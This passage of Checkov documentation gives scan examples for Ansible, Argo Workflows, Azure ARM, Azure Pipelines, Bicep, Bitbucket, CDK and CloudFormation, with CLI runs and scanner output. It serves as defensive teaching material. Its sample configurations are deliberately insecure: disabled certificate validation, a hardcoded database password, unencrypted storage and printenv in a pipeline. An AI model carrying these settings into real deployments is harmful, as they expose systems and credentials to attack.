AWS::Serverless::Api 16 | Properties: 17 | StageName: prod Check: CKV_AWS_76: "Ensure API Gateway has Access Logging enabled" FAILED for resource: AWS::Serverless::Api.Default File: /sam.yaml:14-17 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-17 14 | Default: 15 | Type: AWS::Serverless::Api 16 | Properties: 17 | StageName: prod ``` ================================================ FILE: docs/7.Scan Examples/Ansible.md ================================================ --- layout: default published: true title: Ansible configuration scanning nav_order: 20 --- # Ansible configuration scanning Checkov supports the evaluation of policies on your Ansible files. When using checkov to scan a directory that contains Ansible tasks it will validate if the file is compliant with Ansible best practices such as validating certificates and using HTTPS to download files, and more. Full list of Ansible policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/ansible.html). ### Example misconfigured Ansible file ```yaml - name: Verify tests hosts: all gather_facts: False tasks: - name: disabled yum: name: httpd>=2.4 state: present validate_certs: false ``` ### Running in CLI ```bash checkov -d . --framework ansible ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x ansible scan results: Passed checks: 1, Failed checks: 1, Skipped checks: 0 Check: CKV_ANSIBLE_4: "Ensure that SSL validation isn't disabled with yum" PASSED for resource: task.disabled File: /site.yaml:6-12 Check: CKV_ANSIBLE_3: "Ensure that certificate validation isn't disabled with yum" FAILED for resource: task.disabled File: /site.yaml:6-12 6 | - name: disabled 7 | yum: 8 | name: httpd>=2.4 9 | state: present 10 | validate_certs: false ``` ================================================ FILE: docs/7.Scan Examples/Argo Workflows.md ================================================ --- layout: default published: true title: Argo Workflows configuration scanning nav_order: 20 --- # Argo Workflows configuration scanning Checkov supports the evaluation of policies on your Argo Workflows files. When using checkov to scan a directory that contains Argo Workflows specs and templates it will validate if the file is compliant with Argo Workflows best practices such as usage of securityContext and non default serviceAccountName, and more. Full list of Argo Workflows policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/argo_workflows.html). ### Example misconfigured Argo Workflows template ```yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay serviceAccountName: custom-sa templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ``` ### Running in CLI ```bash checkov -d . --framework argo_workflows ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.0.1210 argo_workflows scan results: Passed checks: 1, Failed checks: 1, Skipped checks: 0 Check: CKV_ARGO_1: "Ensure Workflow pods are not using the default ServiceAccount" PASSED for resource: /hello_world.yaml.spec.spec.CKV_ARGO_1[6:14] File: /hello_world.yaml:6-15 Check: CKV_ARGO_2: "Ensure Workflow pods are running as non-root user" FAILED for resource: /hello_world.yaml.spec.spec.CKV_ARGO_2[6:14] File: /hello_world.yaml:6-15 6 | entrypoint: whalesay 7 | serviceAccountName: custom-sa 8 | templates: 9 | - name: whalesay 10 | container: 11 | image: docker/whalesay:latest 12 | command: [cowsay] 13 | args: ["hello world"] ``` ================================================ FILE: docs/7.Scan Examples/Azure ARM templates.md ================================================ --- layout: default published: true title: Azure ARM templates configuration scanning nav_order: 20 --- # Azure ARM templates configuration scanning Checkov supports the evaluation of policies on your ARM templates files. When using checkov to scan a directory that contains a ARM template it will validate if the file is compliant with Azure best practices such as having logging and auditing enabled, Ensure that 'Public access level' is set to Private for blob containers, Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP), and more. Full list of ARM templates policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/arm.html). ### Example misconfigured ARM templates ```json { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ``` ### Running in CLI ```bash checkov -d . --framework arm ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x arm scan results: Passed checks: 0, Failed checks: 5, Skipped checks: 0 Check: CKV_AZURE_15: "Ensure web app is using the latest version of TLS encryption" FAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')] File: /example.json:53-68 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-6 53 | { 54 | "type": "Microsoft.Web/sites", 55 | "apiVersion": "2018-11-01", 56 | "name": "[variables('webAppPortalName')]", 57 | "location": "[parameters('location')]", 58 | "kind": "app", 59 | "dependsOn": [ 60 | "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" 61 | ], 62 | "properties": { 63 | "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", 64 | "siteConfig": { 65 | "linuxFxVersion": "[parameters('linuxFxVersion')]" 66 | } 67 | } 68 | } Check: CKV_AZURE_17: "Ensure the web app has 'Client Certificates (Incoming client certificates)' set" FAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')] File: /example.json:53-68 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-7 53 | { 54 | "type": "Microsoft.Web/sites", 55 | "apiVersion": "2018-11-01", 56 | "name": "[variables('webAppPortalName')]", 57 | "location": "[parameters('location')]", 58 | "kind": "app", 59 | "dependsOn": [ 60 | "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" 61 | ], 62 | "properties": { 63 | "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", 64 | "siteConfig": { 65 | "linuxFxVersion": "[parameters('linuxFxVersion')]" 66 | } 67 | } 68 | } Check: CKV_AZURE_14: "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service" FAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')] File: /example.json:53-68 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-5 53 | { 54 | "type": "Microsoft.Web/sites", 55 | "apiVersion": "2018-11-01", 56 | "name": "[variables('webAppPortalName')]", 57 | "location": "[parameters('location')]", 58 | "kind": "app", 59 | "dependsOn": [ 60 | "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" 61 | ], 62 | "properties": { 63 | "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", 64 | "siteConfig": { 65 | "linuxFxVersion": "[parameters('linuxFxVersion')]" 66 | } 67 | } 68 | } Check: CKV_AZURE_16: "Ensure that Register with Azure Active Directory is enabled on App Service" FAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')] File: /example.json:53-68 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-iam-policies/bc-azr-iam-1 53 | { 54 | "type": "Microsoft.Web/sites", 55 | "apiVersion": "2018-11-01", 56 | "name": "[variables('webAppPortalName')]", 57 | "location": "[parameters('location')]", 58 | "kind": "app", 59 | "dependsOn": [ 60 | "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" 61 | ], 62 | "properties": { 63 | "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", 64 | "siteConfig": { 65 | "linuxFxVersion": "[parameters('linuxFxVersion')]" 66 | } 67 | } 68 | } Check: CKV_AZURE_18: "Ensure that 'HTTP Version' is the latest if used to run the web app" FAILED for resource: Microsoft.Web/sites.[concat(parameters('webAppName'), '-webapp')] File: /example.json:53-68 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-8 53 | { 54 | "type": "Microsoft.Web/sites", 55 | "apiVersion": "2018-11-01", 56 | "name": "[variables('webAppPortalName')]", 57 | "location": "[parameters('location')]", 58 | "kind": "app", 59 | "dependsOn": [ 60 | "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" 61 | ], 62 | "properties": { 63 | "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", 64 | "siteConfig": { 65 | "linuxFxVersion": "[parameters('linuxFxVersion')]" 66 | } 67 | } 68 | } ``` ================================================ FILE: docs/7.Scan Examples/Azure Pipelines.md ================================================ --- layout: default published: true title: Azure Pipelines configuration scanning nav_order: 20 --- # Azure Pipelines configuration scanning Checkov supports the evaluation of policies on your Azure Pipelines files. When using checkov to scan a directory that contains Azure Pipelines templates it will validate if the file is compliant with Azure Pipelines best practices such as usage of digest for container image version and more. Full list of Azure Pipelines policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/azure_pipelines.html). ### Example misconfigured Azure Pipelines template ```yaml trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: AzureDevOps/AzureDevOps jobs: - job: RunInContainer pool: vmImage: 'ubuntu-18.04' container: ubuntu:20.04 steps: - script: printenv ``` ### Running in CLI ```bash checkov -d . --framework azure_pipelines ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x azure_pipelines scan results: Passed checks: 1, Failed checks: 1, Skipped checks: 0 Check: CKV_AZUREPIPELINES_1: "Ensure container job uses a non latest version tag" PASSED for resource: /azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_1[12:20] File: /azure-pipelines.yml:12-21 Check: CKV_AZUREPIPELINES_2: "Ensure container job uses a version digest" FAILED for resource: /azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_2[12:20] File: /azure-pipelines.yml:12-21 12 | - job: RunInContainer 13 | pool: 14 | vmImage: 'ubuntu-18.04' 15 | 16 | container: ubuntu:20.04 17 | 18 | steps: 19 | - script: printenv ``` ================================================ FILE: docs/7.Scan Examples/Bicep.md ================================================ --- layout: default published: true title: Azure Bicep configuration scanning nav_order: 20 --- # Azure Bicep configuration scanning Checkov supports the evaluation of policies on your Bicep files. When using checkov to scan a directory that contains a Bicep file it will validate if it is compliant with Azure best practices such as having logging and auditing enabled, Ensure that 'Public access level' is set to Private for blob containers, Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP), and more. Full list of ARM templates policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/arm.html). ### Example misconfigured Bicep file ```bicep @description('The location in which all resources should be deployed.') param location string = resourceGroup().location @description('The name of the app to create.') param appName string = uniqueString(resourceGroup().id) var appServicePlanName = '${appName}${uniqueString(subscription().subscriptionId)}' var appServicePlanSku = 'S1' resource appServicePlan 'Microsoft.Web/serverfarms@2020-06-01' = { name: appServicePlanName location: location sku: { name: appServicePlanSku } kind: 'app' } resource webApp 'Microsoft.Web/sites@2020-06-01' = { name: appName location: location kind: 'app' properties: { serverFarmId: appServicePlan.id } } ``` ### Running in CLI ```bash checkov -d . --framework bicep ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x bicep scan results: Passed checks: 0, Failed checks: 5, Skipped checks: 0 Check: CKV_AZURE_15: "Ensure web app is using the latest version of TLS encryption" FAILED for resource: Microsoft.Web/sites.webApp File: anton/bicep/playground/example.bicep:19-26 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-6 19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = { 20 | name: appName 21 | location: location 22 | kind: 'app' 23 | properties: { 24 | serverFarmId: appServicePlan.id 25 | } 26 | } Check: CKV_AZURE_17: "Ensure the web app has 'Client Certificates (Incoming client certificates)' set" FAILED for resource: Microsoft.Web/sites.webApp File: anton/bicep/playground/example.bicep:19-26 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-7 19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = { 20 | name: appName 21 | location: location 22 | kind: 'app' 23 | properties: { 24 | serverFarmId: appServicePlan.id 25 | } 26 | } Check: CKV_AZURE_14: "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service" FAILED for resource: Microsoft.Web/sites.webApp File: anton/bicep/playground/example.bicep:19-26 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-5 19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = { 20 | name: appName 21 | location: location 22 | kind: 'app' 23 | properties: { 24 | serverFarmId: appServicePlan.id 25 | } 26 | } Check: CKV_AZURE_16: "Ensure that Register with Azure Active Directory is enabled on App Service" FAILED for resource: Microsoft.Web/sites.webApp File: anton/bicep/playground/example.bicep:19-26 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-iam-policies/bc-azr-iam-1 19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = { 20 | name: appName 21 | location: location 22 | kind: 'app' 23 | properties: { 24 | serverFarmId: appServicePlan.id 25 | } 26 | } Check: CKV_AZURE_18: "Ensure that 'HTTP Version' is the latest if used to run the web app" FAILED for resource: Microsoft.Web/sites.webApp File: anton/bicep/playground/example.bicep:19-26 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/azure-policies/azure-networking-policies/bc-azr-networking-8 19 | resource webApp 'Microsoft.Web/sites@2020-06-01' = { 20 | name: appName 21 | location: location 22 | kind: 'app' 23 | properties: { 24 | serverFarmId: appServicePlan.id 25 | } 26 | } ``` ================================================ FILE: docs/7.Scan Examples/Bitbucket.md ================================================ --- layout: default published: true title: Bitbucket configuration scanning nav_order: 20 --- # Bitbucket configuration scanning Checkov supports the evaluation of policies on your Bitbucket organization and repositories settings. When using checkov with Bitbucket token it can collect your current org settings and validate it complies with Bitbucket security best practices such as having branch protection rules having 2 approvals. Full list of bitbucket organization and repository settings related checks can be found [here](https://www.checkov.io/5.Policy%20Index/bitbucket_configuration.html). ## Bitbucket scanning configuration | Environment Variable | Default value | Description | |-------------|----------|-------------------------------------------| | CKV_BITBUCKET_CONFIG_FETCH_DATA| "True" | checkov will try to fetch Bitbucket configuration from API by default (unless no access token provided) | | CKV_BITBUCKET_CONF_DIR_NAME | "bitbucket_conf" | checkov will create a new directory named "bitbucket_conf" under current working directory | | CI_SERVER_URL | "https://api.bitbucket.com/" | | | APP_PASSWORD | | Bitbucket personal access token to be used to fetch Bitbucket configuration | | BITBUCKET_USERNAME | | Bitbucket username (not email) | | BITBUCKET_REPO_FULL_NAME | | workspace/repository, for example prisma/terragoat | ### Example branch restrictions configuration ```json { "pagelen": 10, "values": [ { "kind": "require_default_reviewer_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" } }, "pattern": "master", "value": 1, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26522110 }, { "kind": "require_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" } }, "pattern": "master", "value": 3, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520791 }, { "kind": "force", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520790 }, { "kind": "delete", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520789 } ], "page": 1, "size": 4 } ``` ### Example policy ```python from checkov.common.models.enums import CheckCategories, CheckResult from checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck from checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema from checkov.json_doc.enums import BlockType class MergeRequestRequiresApproval(BaseBitbucketCheck): def __init__(self): name = "Merge requests should require at least 2 approvals" id = "CKV_BITBUCKET_1" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf): if branch_restrictions_schema.validate(conf): for value in conf.get("values", []): if value.get('kind','') == 'require_approvals_to_merge': if value.get('value',0)>=2: return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = MergeRequestRequiresApproval() ``` ### Running in CLI ```bash #configure bitbucket personal access token export APP_PASSWORD="ghp_abc" export BITBUCKET_USERNAME="username" export BITBUCKET_REPO_FULL_NAME="prisma/terragoat" checkov -d . --framework bitbucket_configuration ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ bitbucket_configuration scan results: Passed checks: 0, Failed checks: 2, Skipped checks: 0 Check: CKV_BITBUCKET_1: "Merge requests should require at least 2 approvals" FAILED for resource: /bitbucket_conf/branch_restrictions.json File: /bitbucket_conf/branch_restrictions.json:2-66 2 | "pagelen": 10, 3 | "values": [ 4 | { 5 | "kind": "require_default_reviewer_approvals_to_merge", 6 | "users": [], 7 | "links": { 8 | "self": { 9 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" 10 | } 11 | }, 12 | "pattern": "master", 13 | "value": 1, 14 | "branch_match_kind": "glob", 15 | "groups": [], 16 | "type": "branchrestriction", 17 | "id": 26522110 18 | }, 19 | { 20 | "kind": "require_approvals_to_merge", 21 | "users": [], 22 | "links": { 23 | "self": { 24 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" 25 | } 26 | }, 27 | "pattern": "master", 28 | "value": 1, 29 | "branch_match_kind": "glob", 30 | "groups": [], 31 | "type": "branchrestriction", 32 | "id": 26520791 33 | }, 34 | { 35 | "kind": "force", 36 | "users": [], 37 | "links": { 38 | "self": { 39 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" 40 | } 41 | }, 42 | "pattern": "master", 43 | "value": null, 44 | "branch_match_kind": "glob", 45 | "groups": [], 46 | "type": "branchrestriction", 47 | "id": 26520790 48 | }, 49 | { 50 | "kind": "delete", 51 | "users": [], 52 | "links": { 53 | "self": { 54 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" 55 | } 56 | }, 57 | "pattern": "master", 58 | "value": null, 59 | "branch_match_kind": "glob", 60 | "groups": [], 61 | "type": "branchrestriction", 62 | "id": 26520789 63 | } 64 | ], 65 | "page": 1, 66 | "size": 4 Check: CKV_BITBUCKET_1: "Merge requests should require at least 2 approvals" FAILED for resource: /bitbucket_conf/project_approvals.json File: /bitbucket_conf/project_approvals.json:2-66 2 | "pagelen": 10, 3 | "values": [ 4 | { 5 | "kind": "require_default_reviewer_approvals_to_merge", 6 | "users": [], 7 | "links": { 8 | "self": { 9 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" 10 | } 11 | }, 12 | "pattern": "master", 13 | "value": 1, 14 | "branch_match_kind": "glob", 15 | "groups": [], 16 | "type": "branchrestriction", 17 | "id": 26522110 18 | }, 19 | { 20 | "kind": "require_approvals_to_merge", 21 | "users": [], 22 | "links": { 23 | "self": { 24 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" 25 | } 26 | }, 27 | "pattern": "master", 28 | "value": 1, 29 | "branch_match_kind": "glob", 30 | "groups": [], 31 | "type": "branchrestriction", 32 | "id": 26520791 33 | }, 34 | { 35 | "kind": "force", 36 | "users": [], 37 | "links": { 38 | "self": { 39 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" 40 | } 41 | }, 42 | "pattern": "master", 43 | "value": null, 44 | "branch_match_kind": "glob", 45 | "groups": [], 46 | "type": "branchrestriction", 47 | "id": 26520790 48 | }, 49 | { 50 | "kind": "delete", 51 | "users": [], 52 | "links": { 53 | "self": { 54 | "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" 55 | } 56 | }, 57 | "pattern": "master", 58 | "value": null, 59 | "branch_match_kind": "glob", 60 | "groups": [], 61 | "type": "branchrestriction", 62 | "id": 26520789 63 | } 64 | ], 65 | "page": 1, 66 | "size": 4 ``` To add more Bitbucket policies and configuration to be inspected take a look at the [Bitbucket policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20Bitbucket%20Policies.html) ================================================ FILE: docs/7.Scan Examples/CDK.md ================================================ --- layout: default published: true title: AWS CDK configuration scanning nav_order: 20 --- # AWS CDK configuration scanning Checkov supports the evaluation of policies on your CDK files by synthesizing a Cloudformation template out of the CDK code. Full list of Cloudformation policies the checks can be found [here](https://www.checkov.io/5.Policy%20Index/cloudformation.html). ### Example misconfigured AWS CDK code python CDK example ```python from aws_cdk import ( aws_s3, Stack, ) from constructs import Construct # End generated code block. class BucketApp(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # # RESOURCES # pipeline_artifact_bucket = aws_s3.CfnBucket( self, "PipelineArtifactBucket", access_control="Private", bucket_encryption=aws_s3.CfnBucket.BucketEncryptionProperty( server_side_encryption_configuration=[ aws_s3.CfnBucket.ServerSideEncryptionRuleProperty( server_side_encryption_by_default=aws_s3.CfnBucket.ServerSideEncryptionByDefaultProperty( sse_algorithm="AES256" ) ) ] ), public_access_block_configuration=aws_s3.BlockPublicAccess.BLOCK_ALL ) pipeline_artifact_bucket.cfn_options.metadata = { 'checkov': { 'skip': [ { 'id': 'CKV_AWS_18', 'comment': 'No need to ensure the S3 bucket has access logging enabled' } ] } } ``` typescript CDK example ```typescript const bucket = new aws_s3.Bucket(this, 'MyBucket', { versioned: true }); const cfnBucket = bucket.node.defaultChild as aws_s3.CfnBucket; cfnBucket.cfnOptions.metadata = { 'checkov': { 'skip': [ { 'id': 'CKV_AWS_18', 'comment': 'No need to ensure the S3 bucket has access logging enabled' } ] } } ``` The metadata secution contain 1 skip for CKV_AWS_18 Run the `cdk synth` command to generate a CloudFormation template and scan it ```json { "Resources": { "MyBucketF68F3FF0": { "Type": "AWS::S3::Bucket", "Properties": { "VersioningConfiguration": { "Status": "Enabled" } }, "UpdateReplacePolicy": "Retain", "DeletionPolicy": "Retain", "Metadata": { "checkov": { "skip": [ { "id": "CKV_AWS_18", "comment": "No need to ensure the S3 bucket has access logging enabled" } ] } } }, "CDKMetadata": { "Type": "AWS::CDK::Metadata", "Properties": { "Analytics": "v2:deflate64:f" }, "Metadata": { "aws:cdk:path": "AppStack/CDKMetadata/Default" }, "Condition": "CDKMetadataAvailable" } }, "Conditions": { "CDKMetadataAvailable": { "Fn::Or": [ { "Fn::Or": [ { "Fn::Equals": [ { "Ref": "AWS::Region" }, "af-south-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-east-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-northeast-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-northeast-2" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-south-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-southeast-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ap-southeast-2" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "ca-central-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "cn-north-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "cn-northwest-1" ] } ] }, { "Fn::Or": [ { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-central-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-north-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-south-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-west-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-west-2" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "eu-west-3" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "me-south-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "sa-east-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "us-east-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "us-east-2" ] } ] }, { "Fn::Or": [ { "Fn::Equals": [ { "Ref": "AWS::Region" }, "us-west-1" ] }, { "Fn::Equals": [ { "Ref": "AWS::Region" }, "us-west-2" ] } ] } ] } }, "Parameters": { "BootstrapVersion": { "Type": "AWS::SSM::Parameter::Value", "Default": "/cdk-bootstrap/hnb659fds/version", "Description": "Version of the CDK Bootstrap resources in this environment, automatically retrieved from SSM Parameter Store. [cdk:skip]" } }, "Rules": { "CheckBootstrapVersion": { "Assertions": [ { "Assert": { "Fn::Not": [ { "Fn::Contains": [ [ "1", "2", "3", "4", "5" ], { "Ref": "BootstrapVersion" } ] } ] }, "AssertDescription": "CDK bootstrap stack version 6 required. Please run 'cdk bootstrap' with a recent version of the CDK CLI." } ] } } } ... ``` ### Example output ```bash $ checkov -f cdk.out/AppStack.template.json _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.0.727 cloudformation scan results: Passed checks: 3, Failed checks: 5, Skipped checks: 1 ... Check: CKV_AWS_18: "Ensure the S3 bucket has access logging enabled" SKIPPED for resource: AWS::S3::Bucket.MyBucketF68F3FF0 Suppress comment: Ensure the S3 bucket has access logging enabled File: /cfn.json:3-22 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-13-enable-logging ``` ================================================ FILE: docs/7.Scan Examples/Cloudformation.md ================================================ --- layout: default published: true title: Cloudformation configuration scanning nav_order: 20 --- # Cloudformation configuration scanning Checkov supports the evaluation of policies on your Cloudformation files. When using checkov to scan a directory that contains a Cloudformation template it will validate if the file is compliant with AWS best practices such as making sure S3 buckets are encrypted, HTTPS is being used, and more. Full list of Cloudformation policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/cloudformation.html). ### Example misconfigured Cloudformation ```yaml Resources: MyDB0: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MyDB1: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' StorageEncrypted: false ``` ### Running in CLI ```bash checkov -d . --framework cloudformation ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.0.723 cloudformation scan results: Passed checks: 2, Failed checks: 6, Skipped checks: 0 Check: CKV_AWS_17: "Ensure all data stored in RDS is not publicly accessible" PASSED for resource: AWS::RDS::DBInstance.MyDB0 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/public-policies/public-2 Check: CKV_AWS_17: "Ensure all data stored in RDS is not publicly accessible" PASSED for resource: AWS::RDS::DBInstance.MyDB1 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/public-policies/public-2 Check: CKV_AWS_161: "Ensure RDS database has IAM authentication enabled" FAILED for resource: 